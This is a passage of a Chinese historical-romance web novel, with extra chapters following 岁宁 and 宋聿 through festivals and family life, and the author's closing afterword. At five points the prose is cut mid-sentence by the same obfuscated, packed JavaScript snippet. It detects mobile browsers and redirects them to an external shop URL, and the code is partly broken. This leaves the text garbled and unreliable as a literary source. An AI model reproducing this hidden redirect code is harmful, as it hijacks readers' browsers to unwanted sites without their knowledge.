宋聿唤人撤去了杯盘,又与她一并坐在花树下,持一把蒲扇轻轻扇风,为她煮着醒酒茶。 许久不曾这般对坐,树下煮茶同观落花,闲庭信步共话桑麻。 饶是在醉中,她依旧持一本账簿,掐着指节在算。 “夏税米五石二斗七升,秋糧米五千四百五十五石八斗一升……” 宋聿转头看她:“还不舍得闲下?” 她道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986809|131132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “在算去年的旧帐。” 他笑道:“你倒是比我这太守还上心。” 岁宁板着脸道:“宋府君竟还有脸面提啊?” “有何不可?你为我照看安陆城的草木众生,我看顾好你。”说着,他便也挪了坐席,坐到她的身侧,与她一并算着。 末了,他望着身侧人的酡颜,轻笑道:“是五千四百三十二石六斗三升,瞧瞧,当真是醉了。” 岁宁忽觉耳热,推了他一把,怨道:“都怪你。” “净室里备好了热汤,早些沐浴休息吧。” 宋聿收走了账簿,换了一杯放凉的醒酒茶来。 迎着昏暗的天光,岁宁饮完了茶,疲倦起身,宋聿扶着她往屋内走。 她道:“那你自己算吧。” 宋聿道:“我今夜也不想算账。” 她问:“那你叫人点这么多灯烛作甚?” 他说:“想与夫人相伴,终日夜,继朝霞。” 入室,照彻满屋的灯火与某人的心思一样明晃晃,岁宁再望向身侧的青年时,他眼中只余颓靡的缱绻。 小榻正中摆着一盘下了一半的棋局,岁宁沐浴完,从屏风后步出时,正见他独自低眉打谱。 她走过去,从棋篓中捻起一枚黑子,落在棋盘之上。一步跳,试图帮助角落的黑子出逃。 宋聿抬首看着她,眼中再现被诓骗的惊愕之色。 “你会下棋?” 岁宁偏头笑道:“在西陵学的。” 他恼了:“凭什么要同陆宣学,不与我学?” 妒夫,连这也不容许啊? 她笑着解释说:“西陵民生凋敝,不比安陆繁华,素日里无聊得很,便只能同他聊些棋局。” 宋聿落子截住了去路,又道:“那一角的弃子,做不活了。” 岁宁道:“也曾尽心营救过,哪怕最后救不活,它便算不得弃子。” 他问:“是在开解我么?” 岁宁道:“不是。只是下棋罢了。棋子无心,观者有心。世间万事,不可拿棋局作比拟。” 仿佛话中有话,于是宋聿又问:“可是在介怀我从前隐瞒你的那些事?我不曾将你当作是棋子的。” “不必多想。我自然理解你的一切,理解你的的私心。”她如此说着,又抬首抚平他蹙起的眉心,道,“只下个棋便要思虑这么多,也别怪我不愿与你手谈了。论及弯弯绕绕的心思,我还真比不过你。” 他怔怔抬眸,道:“我不过担心某人薄情,有朝一日又弃我而去。” 岁宁心中一骇,心想,该理解他这般患得患失的。 她说:“不会如此。谁让我也同你一样固执。” 68. 番外四 拜月节将近,秋风萧瑟天气凉,群雁辞归。 每年这个时候,岁宁都是在西陵郡度过的。 前两日,西陵郡的陆府君赶往湘城去接他的夫人,郡治的官署闲了几日,案头公文堆积如山。 褪色的椿木窗棂前,燃一盏秋灯,有人低眉抚琴,呕哑噪咂,声音断断续续。 这把琴是从建康城带去安陆,又从安陆跟随岁宁来此的。琴声刻有两字,名曰“涧肃”。 授她琴艺的人不在此,她也因不能常操琴而指法生疏。倒是陆宣那厮,每逢她练琴之时,特地绕过几道回廊,过一道沙庭与月亮门,专程到她院子里来,只为说她弹琴难听。 岁宁回怼:“是是是,比不得尊夫人琴音渺远,陆府君不想听就躲外头去。” 他偏不,只道是:“偶尔听鄙夫弹曲,才知内子琴艺如仙乐难求。” 岁宁横他一眼,只一个字:“滚。” 这几日他终于走了,耳边也算落得清静。 只是窗外麻雀扰人,啄食树上熟透的柿子,落得满地狼藉。 枯坐了一日,总归是有些疲惫。 岁宁披了件衣服,起身步出屋外,坐在鱼池边上,揽去满池浮萍,池水映照碧空如洗。 记忆里,这池清水倒映着颓唐。眼下也只余一汪碧水,哪里还寻得到什么鱼? 西陵郡物产不丰,每逢深秋便封禁山泽,不许入山樵采,也不准下河捕鱼。 再走着,便已出了门,穿过繁华的闹市,到城郭以外去了。 夷陵城的外郭,只余一截残垣断壁,是被战火毁去的旧城址。 而今秋风裹挟,野草疯长。 迎着郊野粗砺的风,岁宁沿着这一段倒塌的土墙,缓缓而行。 她曾领略过此地的风土人情,又亲眼目睹了这座城是如何起火的,如何被毁去,着实可惜。 那是一场偏激的争权夺利,明明她想尽办法去阻止,却还是始料未及。 如今她能做的,唯有缝补这千疮百孔而已。 走得累了,便坐在矮墙上,也不惧罗裙染尘,折了野草编蚂蚱。 于是乎,寻常不会有人经过的郊野,墙根上整整齐齐排了一列的草蚂蚱。 有人来寻她时,她也恰好编完了手上最后一根草。 “这么快就回来了?”岁宁抬眼看他,欣慰一笑,又将编好的最后一只蚂蚱递过去,“诺,送你。” 陆宣盯着手中不务正业的小玩意,揶揄道:“你倒是悠闲,今日公文没看几本,却跑这儿结草来了,明日是不是还得到集市支个小摊啊?” 岁宁不以为然,问他:“怎么亲自来找我了?” 他说:“除了我,谁人还知晓你会往这么偏僻的地方来?” 她道:“我是问有何要事。” 陆宣此刻脸色不太好,似心有戚戚。他道:“快些回去,管管你家中那位。” “宋绍君来了?”岁宁从墙上一跃而下,拍了拍裙上尘土,便顺着风,沿来时路走去。 陆宣道:“是。来寻你的,你却恰好不在府里,我方一回来,便遇着这样一尊大佛。” 岁宁瞄他一眼,关心的却是:“你二人没动手吧?他打不过你的,多担待些。” 陆宣嗔怪道:“旁人不知晓的,说我句莽夫也就罢了,你竟也这般看我,着实伤人心。” 岁宁道:“陆延生何时成了会计较这些的人?” “嘁!”他哂笑道,“我哪一日不在乎过名声?” 岁宁附和道:“是极!然则天下人口中美名都加于你一身,都是不够的。” 她一边这样调侃,一边走在乡道上,想着心之所向,疲乏竟渐渐消散了,步履变得轻快起来。 回到陆宣的府邸时,前院却未寻到那人的身影,只隐隐听着后院里传来一阵琴音。 岁宁与陆宣面面相觑,一个猜:“你夫人?”一个道:“你夫君。” 二人一齐到后院去,陆宣刚一踏入院门,便踩了一脚的瘫软泥泞。 是个熟透的烂柿子。 他黑着脸,道:“我当初便说栽玉兰树好些,你偏要选这柿树,这下可好,招得满地的虫蚁。” 岁宁道:“回去换鞋去罢,别踩脏了内廊的地。” 她熟练避开满地的落柿,又扯下垂落的枝桠来,摘了个熟透的软柿子。 琴室之中,宋聿正扶着琴身,索上新弦,又细细调试弦音。 岁宁欣然向他走去,跪坐在他身侧。 “你怎么肯来了?” 宋聿没答,依旧调弦,只说:“旧弦早就松了,曲不成调,也不知你是怎么弹下去的。” 她笑道:“是么?我听不出来。” 树叶窸窣,麻雀鸣啼,日光穿过寥寥沉榆香烟而来,倾洒于他挺直的背脊,余下几缕落在琴桌上。 岁宁不知何时揽过身边的手臂,扣住他索弦的指节,非得在他忙别的事时,生出这些亲昵。 宋聿侧头看着她,正愣片刻,复又微微叹息,这才表明了他此行的目的:“你说秋日可归,如今已而秋半,我若不来,你怕不是要掐着时节季末才肯回去。” 岁宁眨了眨眼,道:“哪有?我本来打算月底就回去了。” “当真?”他探究。 “好吧,冬至前。”她如实回答。 得到这么个答复,浮光恍惚,他难以维持面上的平静,转瞬便抽出手来。 他说:“安陆到底是比不得这里,若是再乱些,贫瘠些,指不定还能让你对此多上点心。” “怎会?我只对绍君上心。”岁宁讪讪笑着,说出来的话,连她自己都不信。 他又说:“许多年不曾与你一起过拜月节了。” 岁宁问他:“所以专程来西陵寻我,只为过节?” 宋聿道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13186473|131132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“不是的。我想你今年早些回去。” 她又拉过他的手安抚,笑着说好,就这般不记承诺地满口答应下来。 宋聿也回握住她的手,道:“还因为有一日夜晚,见月色很好,却无人与共,故而也想同你一起过拜月节。” 共一轮明月,沐同一片月光。 他说,只此一次,在满庭月色的窗前,他曾见过有情人的眼睛。 岁宁追问着,是哪一次啊? 宋聿轻叹,看吧,没心没肺的人果然记不得了。 多年以后,或许她也终会想起,那样一个稀松平常的夜晚。 春归时又是春将半。 檐角挂着轮残月,有白日外出的人踏月而归。 一庭澄净月色,照满书窗。纸糊窗格中落下一道朦胧身影,与竹柏影一并遮去些许月魄。 岁宁向他走去,静静立在窗下。 “这么晚了,怎么还不睡?” 他从屋内轻启窗格,道:“在等某个不顾家的人。” 几分薄如蝉翼的月魄敷上他的面庞,勾勒出柔和的轮廓。 岁宁只笑:“归来晚,幸而绍君亦未寝,与我相对小窗前。” 而屋内人垂眸看着她眼角笑意,却无法同她言笑。 拜月节都过了几日,而她习惯一人独往,是丝毫不在乎的。 岁宁察觉他的低落,于是问:“怎么了?又遇着了烦心事?” 宋聿矢口否认。 她便说:“来屋外坐坐如何?今夜月色很好。” 是啊,月色很好,可哪里比得上前几日的一轮满月?诚然,那是此生他见过最圆满的一轮月。错过一次,便要再等几月,或是几年,甚至此生终不得见。 昔年她离开时,只给他留下了额角的疤。如今她离开,便会给他留下日复一日的期许。 今夜他与她并肩,在院子里踱步。 静谧的风声吞没了呼吸,他喜欢这样安静的夜,这样她会暂歇收起锋芒,同他多些温声细语。 虽说平时也有过这样温和的语调,只不过那或多或少包含了算计。 唯有夜里,她把声音放轻,是为了不扰夜的沉寂。 他忽然说起:“若你早两日回来,便可以看到更圆更亮的月,比今夜月色更美。” 岁宁不曾作此想,豁然笑曰:“我昨日在别处也看到了同样的月,却不觉更胜今朝月。你看天边流云聚了又散,散了又聚。昨夜的月是圆的,可今夜也残。” 满园春色庭中,东风送暗香,浮动月昏黄。 清冷的月光洒在她身上,玉容沉静,思绪流转于她的眉眼。 这一日月色与某个雪夜里昏晦的灯火一样,明明灭灭,他得见有情人的一双眼,也只在这样难以看清的情景里得见。 罢了,不想了。 说不定当真只是晃了眼。 他如是告诫自己。 69. 番外五 春日回京时,宝马绣车盈路,辘辘车声如水去。 时值花朝,百花竞放,出门游赏之人众多。 同一时节的江州亦是微谢樱桃,欲展芭蕉,门前陌头俱是花藻浓荫。论及自然风物,也能与江东平分一半春色,还留一段鲜妍春光。 只是阿禾自小在安陆长大,极少回到健康,不曾见过这样拥堵的繁华。须知有人尚在为温饱奔波劳碌时,闲暇的赶春客也大有人在。 于是她闹着要回来看一看的。 只是往马车窗外一瞟,全是人看人。 春景也在这番喧闹中略显平乏无味。 殆及出了城,往郊外去,游人才渐渐稀少。 江岸边,平沙浅渚与岸堤垂柳自成一方春景,有旅人相偕过溪桥,也有人乘楼船泛舟江上,寻一个高怀自怡。 阿禾刚一下马车,就成了脱笼的鸟雀,直奔花醉红酣的春港。 “阿父,我也想泛舟。” 宋聿回看一眼缓步走在后头的两人,道:“那须得问你阿母。” 他这样说,是想让这孩子停下,等一等尚在芳丛中纵步赏花的岁宁。 “阿母阿母。”阿禾提起罗裙沿途折返,扯着岁宁的裙边,说道,“可否登船涉江,往芳汀去看花?” 岁宁笑言:“好啊,去问问船家,赁一艘船须得多少银钱?” 江岸边泊着几叶舟,岁宁携女儿前往问价,船家答曰:“三千钱。” 竟比平日涨了十倍有余,她正欲讲价,后头那人竟直接遣了扶桑把钱付了。 岁宁望着宋聿欲言又止,只听他说:“□□莫惜游船钱。” 岁宁回道:“游船尚可估价,春光可有价可估?” 宋聿答:“风月无价,最惜今朝,不若趁取春光。” 岁宁听了这话,随即拉着阿禾登船去,叮嘱她:“还是多读些政论,别总受这些伤春悲秋的荼毒。” 阿禾只苦着脸,宋聿也说:“谁家七岁小儿便学政论?” 岁宁道:“我家。” 其余人哑口无言。 一江出于两岸青峰之间,春日雪化,山峦为晴雪所洗,一拭如新。 船夫摇橹驾船,朝着江心的芳汀驶去,又与之擦身而过。 汀上数十棵杏花树,如红霞垂落,香盈花欲燃。 此前船夫问过可需登岸,岁宁说先沿着江流走,返程时再去汀上走一走。 其实近来天气并不好,余寒未退,时常作北风,若与东南风遇着,便又化作一场春雨来。 一开始只是淅沥小雨,落在罗裳上,留下丝丝雨晕,又随着江风的吹拂而干透了。 后来雨势渐大,直至船舱里也积了雨水,只得提早返程,停泊于江上杏花汀。 汀中有一小亭,不曾落名,也不知是哪位处士所建。 待到夏日河水漫涨之时,汀上便只剩这座亭子不曾洪水被没过。 只是如今倒好,一行人都被这春雨所连累,无法游船赏花,只得困于亭子中避雨。 阿禾伸手去接檐下的雨滴,又被宋聿拽了回去,接过扶桑递过来的帕子,细细擦去手上与发丝上的雨珠。 就这般闲坐一会儿,又有人泊船登岸。 墨色氅衣的男子撑着一把纸伞,拥着夫人往亭子走来,两个提着行囊的仆从各自打了伞,跟在后头。 岁宁望了一眼来人,竟是连懒得起身,只笑道:“二位,可巧啊。” 陆宣道:“是啊,谁料到你也会得闲来江上泛舟。” 岁宁回道:“陆延生也不像是会出门看花之人。” 张韫言笑着同她见了礼,道:“顾夫人,自去年西陵一别,已是半载不见了。”说着便又上前去牵住岁宁的手,同她一并坐着。“虽说已过了冬日,却还不见回暖,如今又下了雨,你这寒疾可还要紧?” 岁宁笑了笑,又拍了拍她的手背,道:“早就不妨事了,劳你一直记挂在心。” 两人正寒暄着,陆宣突然道:“她身上佩着麝香珠,夫人离她远些。” 张韫言面上一阵赧然,岁宁这才意识到,对坐女子微微隆起的小腹,便忙起身退开了。 算起来成婚七年,这是第二个孩子了。 她道:“倒是我疏忽了,看这月份,应该有三四个月了吧?” “刚满四个月。”张韫言牵着她的手,贴放在自己的腹上,“话说你也与宋府君成婚多年,不曾想过要一个孩子吗?” 孩子自然是有的,只是要孩子的要法同你们不太一样。岁宁这样想着。 “阿禾,过来,快叫伯父伯母。” 阿禾跑过来,同他们二位行了礼,道:“伯父伯母好。” 二人都对着这垂髫之年的孩子陷入了沉思。时至今日,他们才知晓有这么个孩子的存在。 岁宁倒是瞒得好,极少与旁人说起孩子的事。 “你的……女儿?啊?”陆宣显然是被她唬住了。 “是啊。” 陆宣道:“你何时有的女儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221383|131132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?我哪一年不曾见过你?” 岁宁把阿禾揽到身前抱着,“这有何可怀疑的,她与我生得不像吗?” 陆宣默了好一阵,才艰难开口道:“生得不像宋绍君。” 这话,像是故意气某个人的。 岁宁偷瞟一眼面无表情却又默不作声的宋聿,替他接话道:“像我有何不好?” 他说:“像他的话,漂亮些。” 他今日仿佛吃饱了撑的,非说一些令她不悦的话。 岁宁怒瞪他一眼,嗔怪道:“当着孩子的面说这些做什么?” 陆宣又问:“阿禾,是哪一个禾字?” 岁宁答:“风雨时,嘉禾兴,嘉禾之禾。” 他微微颔首说不错,“君子若禾。” 岁宁其实想说,之前同她阿父取这名字的时候,没想这么多。再看一旁的人,似乎也默许了有这样的解读,难得未与陆宣唇枪舌剑相向。 或许当初互相仇视、算计之人,也没料到来日会于同一檐下避雨,谈及过去之事的时候,会是如此的心平气和。 雨停了,一行人各自归家。 东风无意催花落,却道雨来急。剥去一半春色,还留一地香消玉殒。 大人见惯了京郊风光,便觉得年年风景相似,唯有阿禾是扫兴而归的。 岁宁便领着孩子到韶苑去,还说:“以后这韶苑都是你一人的,这样想来,还有什么不开心吗?” 宋聿跟着后头,说道:“你这时便与她说这些,就不怕养出一个纨绔来?” 岁宁笑道:“所以绍君与其担心这些,还不如多多积攒家业,如此,她的眼界才不会只局限于韶苑之中。” 此时阿禾早已跑远,与扶桑一并穿梭于韶苑十二景了。 岁宁与宋聿并肩穿过竹林小道,往书舍的方向走。 数日不曾入竹舍,林间的青石板道上,渐渐生了苔色。竹叶为风雨所摧,零落地上。 一场春雨过后,竹篱茅舍中,听得溪水潺潺,还有竹节生长的声音。 他说竹为不秋草,可怎就长得这般快啊。只几年葱郁,谢了竹花,便再度辗转于枯荣。 多少年朝朝复暮暮,时光都于指缝间流淌而过了。 岁宁笑说:“是么?那便修理了那些竹子,留给阿禾烧爆竹啊。” 宋聿道:“是不是还得命人挖了春笋晒干备着?” 她说:“极好。” 宋聿无奈辩驳:“韶苑的文人竹,不是这样用的。” 70. 番外六 是年冬,霁雪覆怀澄园。 融融炭火熏着起居室墙壁,青砖上燎了些许灰烟。屋外天寒地冻,连狸奴也不愿出门了。 园子里寂静,除了枝头雪落下的声音,唯余围棋落子声丁丁然。 屋中炭盆上摆着一排竹子,在炭火的烘烤下滋滋冒着烟气,竹尾置一银盘,承接着用以治咳疾的竹沥水。 今日得闲与宋聿手谈,三战三败北。岁宁投子说道:“绍君学棋二十载,棋艺十倍于我,何不肯让一让我?” “生平尽数输于你,唯有棋局,让我赢一回罢了。”宋聿收拣了棋盘上的棋子,又翻出棋谱来同她一并打谱。 下棋是下不过他的,可自从在西陵学棋以后,她就很少玩六博了。一个赌运极好的人,在许多年以后,再也不曾上过赌局。 岁宁道:“如今不与你争论了,大雪日不能出门,你权当陪我这棋篓子打发时间罢了。” 宋聿笑道:“夫人何时这般自谦了?” 她嗔道:“持重时嫌我自谦,放肆时说我轻浮,你就是存心挑剔我。”说着,她便拨开厚重的狐裘,踩在榻上,打开了窗扇,任几颗雪粒子飘进来。 “外头冷,开窗作甚?”他问。 “看雪。” “安陆城的雪,年年都是如此,你竟还不曾看腻。” 她却道:“今年不似去年,年年不似从前。今日早起,又梳下几丝白发,总觉得这几年来,时间过得格外快些。” “分明是你起得愈发晚了。”宋聿如是揶揄。见她心思不在棋局上了,他遂放下棋谱,起身到炭火盆旁去取竹沥水。 几节竹子熏了一上午,也只收集了一小杯。 趁他背过身去,岁宁伸手往窗外折了一支冰棱,待他坐下,挪到他身后去,笑道:“我替绍君捏肩吧。” 宋聿忙躲开,心想:你会有这般好心? 奈何不及她眼疾手快,拨开自家郎君的衣襟,便将那冰棱贴在了白皙脖颈上。 “不怪我说你,阿禾都没你闹腾。” “谁叫你说我?” 他忙道:“说不得说不得。” 后者仿佛早就习以为常,此刻竟生不起气来。 娶妻前被母亲搓磨,娶妻后被妻子折磨,这么多年来,纵是块坚石,也被磨得没有棱角了。 “消停些吧。”他抓过岁宁的手,夺了冰棱扔出窗外去,又将她那冻得冰凉的指节塞到锦裘下取暖。 每逢落雪久居家中,他总要谈起三两件经年旧事来。 只不过每次都绕不开他们初识的那个冬日,以及他们一同在夷陵县守岁的那个除夕。 岁宁问起:“绍君说了这么多,那你可知我最难忘的冬日是哪一个?” 宋聿投之以期待的眼神,问:“是哪一个?” “应是咸和三年的那个冬日,我可有同你说起过?” 咸和三年,那时她应该在陆府。听了这话,他面上神色未变,只低下头去,默默放开了已被捂暖的手。 又听她说:“那时我兜兜转转回到了建康城,看着陆府容雪院的天与常青院一样,都是四方天。似乎没什么不同,没什么分别,只不过常青树换做了玉兰花。 “那一年冬至,建康城又下了一整日的雪。陆府上下好生热闹,家人之间没有宋家那样的龃龉。可我始终是个外人,没法融入进去,哪怕陆宣邀我与他同席。 “我便想着,离了这朱门酒肉,去外头看看吧。那日街上冷冷清清的,家家户户闭门不出。偶尔又一两个小贩、乞儿还在街角乞讨,我把随身的银两都给了他们,祈祷他们早些回去,过个好节。” 她忽然笑看向宋聿,话锋一转,道:“后来我依旧在街上走,你猜我看见了谁?” “谁?” 岁宁道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13439510|131132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“家家户户都聚在一起吃角儿的冬至节,我却见一个少年于大雪日埋葬一只狸奴。” 一个披着锦裘的公子,蹲在街角,捧雪埋葬一只冻死街边的狸奴。 宋聿听她讲完,许久都没有再说话。岁宁也没法判断,这当事人是否还记得这么件小事。 岁宁坐到他身侧去,拨开他宽大袖子握住他的手,玩笑道:“那时我想着,该过去与他一道取个暖的。不曾想手炉中炭火不慎滚落,烧了他的裘衣。” “原来是你。”宋聿终是忍不住了,“有些背着我做的坏事,还是好生藏着掖着,留到棺椁里吧。” 她道:“那也不成啊,既要生同衾,死同穴,如何藏得住?” 他无奈叹道:“当真是坏事做尽。” 也只是对那些世家权贵坏事做尽而已。 岁宁此刻安静下来,靠在宋聿肩上,与他一并看着窗外的静谧雪景。 偶有几粒雪花飘进来,落到香案上,顷刻消融。 她又轻声说起:“绍君,再为我作一首诗赋吧,或是为我念一首诗也行。” 宋聿低头沉吟,良久,才诵起一首旧年写的诗赋来: “余从东道过西陵,观一叶而知秋,瞻四时之将终。岁暮亦云已,零落从此生。霜凝野草稀,唯万竹苍然。列植公子之庭,掩映佳人之室。溯鸣泉而荫景,承流云而抟风。虚其心而实其节,厚其柯而薄其叶。清而不癯,秀而不蔓。临临其高,不偏不倚。于是历寒暑而长盛,载春秋而无衰。不以物候而改,不随时境而易,如是而已。” “这一首赋,本就是写给你的。” 昔年反令她误解,醉酒后生了好大一通气,以致诗作者委屈至今。 不以物候而改,不随时境而易。 而今她也总算读懂了眼前人笔墨之中的晦涩。 忽忆当年,几十载光阴飞度,人间白首。 71. 后记 行文至此,略有不舍,遂将此间历程言为心声。 写作之初,站在我面前的只有两个活生生的人物,没有背景,没有梗概。出于自己的私心,我想给两位主人公一个结局,才有了这么一个故事。 说起来,这是一篇极长的流水账,也是我在晋江种下的第一棵树。情节平淡,文字生涩,考证颇多。书翻烂了,头发也薅光了,还是难免有缺漏之处。 写完最后一篇番外,我也在故事的最终章画上了一个并不完满的句号。不会修文,只因我觉得就该是这么个故事而已。就像他们在对话说的那样,月是圆的,可也曾残缺。我倦于内耗,也容许自己在此间历程的种种差池。 每当回顾自己写过的片段,想到也会有人与我笔下的文字共鸣,纵使目前笔力所不能及,我始终相信文字的温度,与历史在笔墨中的传承一样震慑人心。 我喜欢宋聿,也喜欢岁宁,还喜欢那个能写下《孟冬幽篁集序》的才女梁子音。 一个腹有诗书气自华的世家公子,我觉得用再多类似于“惊才绝艳”的字眼去形容他的才华,都只浮于表面,远不如他亲自写下的一篇诗赋来得实在。所以他曾用笔墨记载种种心路历程,会在触景生情时写下《竹赋》,抒发不以物候而改,不随时境而易的感慨。就像过了许多年,他依旧守着经年累月的承诺,等一个去兑现的机会。直到后来,他有机会亲自拟下那一卷婚书,我也与他一样,想了个彻夜。就像周南樛木,福履将成,我乐见他笔下的深情缱绻。 又说到女主角,与生俱来的良善,在尘世摸爬滚打十几年的卑劣,复杂到我找不出一个确切的词去形容她。只希望她是一个不惧世俗眼光与压迫的女子,在力所能及的范围内,掌有最大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13439511|131132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 限度的主动权,可以千万次救自己,也救旁人于水火。情感的特别之处,就在于她很少将“喜欢”和“爱”这样直白的字眼宣之于口。正如她所言,相偕走过的一路,会比虚词废说有用得多。一个善辞赋,一个通政论,嗯,堪堪般配。可惜囿于我视角所限,只能记下她漫长一生的短短几年。 番外里写遍了春夏秋冬,他们的生活不会止步于此,只是我暂且在此搁了笔。 目前身体健康,精神正常,最近才思泉涌(才怪),已经在构思第二三四五个故事了。 至今也才写下三十余万字,希望写下更多故事以后,能有些许进步。 感谢诸君一路相伴至此,每一个收藏,每一次评论,甚至于每一个点击,于一个初出茅庐的作者而言,都算得上是浓墨重彩的痕迹。 或许有缘,下一个故事,还能遇见。